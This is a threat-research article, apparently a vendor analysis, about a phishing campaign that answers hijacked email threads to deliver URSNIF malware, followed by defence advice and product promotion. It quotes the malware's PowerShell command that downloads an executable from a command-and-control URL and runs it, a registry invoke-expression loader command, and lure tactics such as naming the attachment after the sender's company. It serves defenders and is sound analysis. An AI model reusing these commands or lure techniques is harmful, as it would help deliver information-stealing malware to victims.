Phishing Campaign uses Hijacked Emails to Deliver URSNIF by Replying to Ongoing Threads

Haythem Elmir
0 1
Read Time10 Minute, 40 Second

While most phishing campaigns are fairly simplistic in nature and easy to spot (they usually involve a legitimate-looking email, often with a malicious attachment or link embedded in the text), a spam campaign we observed in September indicates attackers are angling towards a more sophisticated form of phishing. The campaign uses hijacked email accounts to send malware as part of or as a response to an existing email thread. Because it’s part of a legitimate and on-going conversation, this particular approach can often be tricky and difficult to detect. Often, the victim may not realize that they’ve been a victim of a cyberattack until it’s too late.

These attacks are very similar to an earlier URSNIF/GOZI spam campaign discovered by Talos earlier this year earlier this year that uses hijacked computers that are part of the Dark Cloud botnet to send emails to existing conversations, and can possibly be a continuation or evolution of said attacks.

From all the data gathered so far, we discovered that this campaign is mostly affecting North America and Europe, although we also found similar attacks in Asia and the Latin American region.

Organizations in the education, financial, and energy sector make up most of the targets of the scam. However, the attack also affects other industries, including real estate, transportation, manufacturing, and government.

Spotting red flags

As an example of how convincing this phishing attempt can be, we’ve attached an example of an email that was sent as part of the campaign, shown below.

 Figure 1. Example of a malicious email that is used to reply to a conversation

Figure 1. Example of a malicious email that is used to reply to a conversation

Because the sender is someone familiar and the message is also part of the conversation, it’s easy for the recipient to believe that this is just another reply to the thread. In addition, the subject and grammar seem to be correct, and there’s even a signature at the end of the email.

However, closer inspection reveals some suspicious elements in the email. The most blatant and perhaps most obvious discrepancy is the change of language from French to English. In addition, the signature in the malicious email is different from the ones appended to the legitimate emails. Finally, the message is generic and could be out of context, which, although not a direct indicator of an attack, could possibly raise red flags. However, these little details could be difficult to spot at first glance, especially for someone who has to check a large number of emails per day.

 Figure 2. Comparison between the malicious email and a legitimate one. Note the difference in language and the changed signature

Figure 2. Comparison between the malicious email and a legitimate one. Note the difference in language and the changed signature

Investigating the Email Headers

Upon checking the email headers, we find some interesting aspects to this attack.

 Figure 3. The anonymized email header of the malicious message

Figure 3. The anonymized email header of the malicious message (click the image to zoom in)

There are three things to take note here:

  1. The usual spam approach is to spoof the sender, but with a “Return-Path” or “Reply-To” SMTP header so that the intended recipient would reply to the threat actor. There is an absence of both in the examples that we have observed, and all replies would be sent to the account used to send the email. The threat actor likely has authenticated access to this account.
  2. The existence of “In-Reply-To” header (and other similar SMTP header fields) tells us that this message is a reply to an existing email thread.
  3. The first hop of this email message is from “”. This doesn’t stand out as unusual for a home user, but unless it’s from a remote worker, a corporate account should have sent the initial email from a server within the organization (e.g., a host within ‘’).

Taking these into account, it’s highly probable that the emails are being sent from the US, regardless of where the owner of the original account was from. Based on the .ca country code of the email sender in the example above, the email owner was from Canada.

Further investigation revealed that this particular host also sent many different emails using various email addresses, all within September 2018.

We also noticed that the attackers often match the sender’s organization name with the attachment file name, most likely to make the message seem more legitimate. The format of the attachment file name is usually [sender_company]+[a verb relevant to the conversation, such as inquiry or request].doc or simply [sender_company].doc. This makes the email look more legitimate since a look at the sender and the file name shows that it all lines up. In some cases, we noticed the use of generic filenames such as “Inquiry,” “Statement,” and “Request”.

What we can assume from the headers is that the attacker has somehow gotten hold of an authentic account and is using this account for the BEC-like scam. Given the modus operandi and the techniques, used, we suspect that this new wave of spam is part of an URSNIF/GOZI spam campaign mentioned earlier. It is possible that the said sender IP address is a compromised machine serving as one of the zombie computers in the botnet.

Analysis of the payload                      

If the user double-clicks on the malicious .doc attachment from the email, it will call PowerShell to download the latest version of the URSNIF (Detected as __) malware from a command-and control (C&C) server before executing the downloaded file:

  • powershell $VWc=new-object Net.WebClient;$wIt=’http: //t95dfesc2mo5jr. com/RTT/opanskot.php?l=targa2.tkn’.Split(‘@’);$jzK = ‘369’;$Aiz=$env:public+’\’+$jzK+’.exe’;foreach($fqd in $wIt){try{$VWc.DownloadFile($fqd, $Aiz);Invoke-Item $Aiz;break;}catch{}}

This file serves as the malware’s main loader. However, before it performs its routine, it will first check the OS version — it will allow execution only on Microsoft OS, specifically, Windows Vista and newer iterations. It also avoids certain locales such as CN and RU.

The main loader manages the execution as a whole and logs the events in a text file:

  • %User Temp%\{temp filename}.bin

 Figure 4. Logs of the malware’s loader

Figure 4. Logs of the malware’s loader (click the image to zoom in)

It downloads additional modules from the C&C server and saves these in the registry folder HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4

The screenshot below is of the created registry key and entries containing scripts and binaries.

 Figure 5. The registry key and entries containing scripts and binaries

Figure 5. The registry key and entries containing scripts and binaries

Note that while these keys and some registry entry names vary per computer, the location is always at HKCU\Software\AppDataLow\Software\Microsoft\.

Once the components are downloaded, a Powershell script stored in comsxRes (this name varies) is executed. The command line instruction below shows how the hex values in the registry are called.

  • exe /C powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty ‘HKCU:\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-7C9D-AB0E-15700F2219A4’).comsxRes

 Figure 6. Hex values of comsxRes

Figure 6. Hex values of comsxRes

Fileless execution begins when this script loads an embedded binary stored in the registry. In the screenshot below, we replaced the binary data with –{hex-encoded binary}— to show the entire code. The original script also had the bottom part base64 encoded. We decoded it to make it readable.

 Figure 7. Code of the embedded binary that is stored in the registry

Figure 7. Code of the embedded binary that is stored in the registry

It searches for Client32/Client64 in the created registry key and injects this code into explorer.exe to maintain memory residency. Other entries in the registry are essential in its succeeding routines as these are later referenced in the injected malware code. The “TorClient” entry, for instance, is used for the malware to communicate to its C&C server via TOR network.

Information Theft Routine

The final payload is a DLL file called Client32/Client64, depending on the host architecture. This is also stored in the registry like most of this malware’s components. The payload’s main goal is to perform information theft, which includes the following information:

  • System information
  • List of installed applications
  • List of installed drivers
  • List of running processes
  • List of network devices
  • External IP address
  • Email credentials (IMAP, POP3, SMTP)
  • Cookies
  • Certificates
  • Screen video captures (.AVI)
  • Financial information via webinjects

BSS Section

All analyzed URSNIF binaries have this encrypted section in common. This section contains all related strings that will be used in the code and are only decrypted during run time. This makes analysis more complex because it takes away the option of string analysis or decompilation.

Sandbox Evasion / Anti-Analysis

To prevent sandboxes from obtaining information such as servers and configuration, URSNIF checks the cursor position twice in the code. A lack of change in position indicates that it is being analyzed in a sandbox, or possibly via debugger. This check is done before the BSS section is decrypted, and leads to an infinite loop (and garbled strings) if not done properly.

From what we’re seeing in this attack, it seems that threat actors are fine tuning their phishing attacks and coming up with newer and more effective methods of tricking people. No longer content with regular phishing emails, these cybercriminals have sneakily integrated their malicious attacks into on-going conversations, making it difficult to detect for the average user. This evolution is just a part of the never-ending cat-and-mouse game between threat actors and security professionals.

Defense and best practices

Phishing attacks are highly effective since they rely on effective social engineering techniques, which involve creating believable scenarios and conversations to trick users into divulging information or downloading malware. The tricky part here is that the sender is an actual organization with a real end-user account. As much as possible, users should protect their online accounts by implementing two-factor authentication (2FA) if it is available. Organizations should also look into integrating 2FA into their systems, and should highly consider using services that offer it.

In addition, these best practices can help prevent phishing attempts from affecting organizations and their employees:

  • All of the company’s end users should know how to recognize suspicious emails. This includes being aware of what phishing attacks are, and how they work.
  • Any suspicious requests, such as a withdrawal of funds, should always be verified with the proper people. Practice prudence, especially when considering financial transactions
  • Avoid clicking on any document that suggests modifying the security settings within Word as this could be a sign that it’s a malicious file
  • Take note of all the potential red flags in the message. This includes out-of-context messages, or in the case of this specific campaign, changes in language or signatures.

Considering Managed Detection and Response

As phishing attacks become more sophisticated, it might be difficult for in-house IT and security teams to monitor both the network and individual endpoints for signs of attack. While employee awareness can definitely help, sometimes identifying whether an email is legitimate or malicious can be difficult, especially when presented with highly convincing attempts such as this one.

This is doubly challenging for organizations without security operations centers (SOCs), as general IT teams often lack the training and experience to perform threat research and analysis. For these businesses, using a third party provider such as Trend Micro’s MDR service can help them combat even advanced threats. MDR teams are often composed of experienced professionals who are proficient with powerful security technologies that can protect both endpoints and networks. Going beyond mere analysis, MDR can provide context to the various environmental indicators in an attack, and use these to form the basis of investigation.

Trend Micro Solutions

Trend Micro endpoint solutions such as the Smart Protection Suites and Worry-Free Business Security solutions can protect users and businesses from threats by detecting malicious files and messages as well as blocking all related malicious URLs. The Trend Micro™ Deep Discovery™solution has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.

Trend Micro XGen™ security provides a cross-generational blend of threat defense techniques to protect systems from all types of threats, including ransomware and cryptocurrency-mining malware. It features high-fidelity machine learning on gateways and endpoints, and protects physical, virtual, and cloud workloads. With capabilities like web/URL filtering, behavioral analysis, and custom sandboxing, XGen security protects against today’s threats that bypass traditional controls; exploit known, unknown, or undisclosed vulnerabilities; either steal or encrypt personally identifiable data; or conduct malicious cryptocurrency mining. Smart, optimized, and connected, XGen security powers Trend Micro’s suite


To read the original article:

0 %
0 %
0 %
0 %
0 %
100 %

Average Rating

5 Star
4 Star
3 Star
2 Star
1 Star

Laisser un commentaire

Next Post

Researchers presented an improved version of the WPA KRACK attack

Security researchers who devised last year the Key Reinstallation Attack, aka KRACK attack,  have disclosed new variants of the attack. Security researchers Mathy Vanhoef and Frank Piessens who devised last year the Key Reinstallation Attack against WPA, aka KRACK attack,  have disclosed new variants of the attack. Last year, boffins discovered several key […]